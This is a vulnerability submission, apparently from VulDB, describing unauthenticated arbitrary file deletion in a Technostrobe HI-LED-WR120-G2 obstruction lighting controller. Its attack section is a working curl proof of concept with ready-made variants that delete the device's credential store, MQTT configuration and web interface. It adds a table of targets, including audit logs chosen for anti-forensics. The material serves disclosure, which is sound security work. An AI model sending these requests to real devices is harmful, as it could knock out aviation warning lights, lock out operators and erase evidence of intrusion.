COMMUNITY CONTENT

Home › Submit › 783327

Submit #783327: Technostrobe HI-LED-WR120-G2 Obstruction Lighting Controller 5.5.0.1R6.03.30 Improper Access Control for Unauthenticated File Deletion

Title Technostrobe HI-LED-WR120-G2 Obstruction Lighting Controller 5.5.0.1R6.03.30 Improper Access Control for Unauthenticated File Deletion

Description The application allows unauthenticated deletion of arbitrary files.
The Proof of Concept

```
curl --http0.9 'http://technostrobe.shiky.demo:58746/' \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64)' \
  -H 'Origin: http://technostrobe.shiky.demo:58746' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data
'ajax=FsBrowseClean&dir=/http/Technostrobe&path=/http/Technostrobe/test.sh&action
=deletefile'

Change path to any other file to delete it:

# Delete the credential store
--data 'ajax=FsBrowseClean&dir=/&path=/login.cfg&action=deletefile'

# Delete MQTT config
--data
'ajax=FsBrowseClean&dir=/config&path=/config/MQTTBroker.cfg&action=deletefile'

# Delete web interface entirely
--data 'ajax=FsBrowseClean&dir=/http&path=/http/index.html&action=deletefile'
Request Parameters — All Attacker-Controlled

POST /
Content-Type: application/x-www-form-urlencoded

┌──────────────────┬──────────────────────────────────────────┐
│ Parameter        │ Value / Notes                            │
├──────────────────┼──────────────────────────────────────────┤
│ ajax             │ FsBrowseClean  ← selects file management handler │
├──────────────────┼──────────────────────────────────────────┤
```

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

action	deletefile ← triggers delete operation
dir	/http/Technostrobe ← directory context (attacker-controlled, used for listing)
path	/http/Technostrobe/test.sh ← THE TARGET — fully attacker-controlled No restriction. No path canonicalization.

WHAT TO DELETE AND WHY

Target	Impact
/login.cfg	Destroys user credential store May disable auth entirely Locks out all legitimate users
/config/MQTTBroker.cfg	MQTT telemetry goes silent NOC loses visibility of tower status
/http/Technostrobe/*.html	Destroys management interface Engineers can't access device
/config/network.cfg	Potential loss of network config Device may become unreachable
Firmware update files	Blocks patching / recovery Potential brick on next boot
Log / audit files	Destroys evidence of compromise Anti-forensics

The server processes the request without authentication.

Root Cause:

Missing authorization checks

Direct file system interaction exposed via API

Impact:

Deletion of critical files

Denial of service

System instability

Source	⚠ https://github.com/shiky8/my--cve-vulnerability-research/blob/main/my_VulnDB_cves/CVE-TECHNOSTROBE-06-FileDeletion.md
User	shiky8 (UID 96565)
Submission	03/20/2026 01:31 AM (17 days ago)
Moderation	04/04/2026 04:41 PM (16 days later)
Status	Accepted
VulDB entry	355344 [Technostrobe HI-LED-WR120-G2 5.5.0.1R6.03.30 FsBrowseClean deletefile dir/path authorization]
Points	20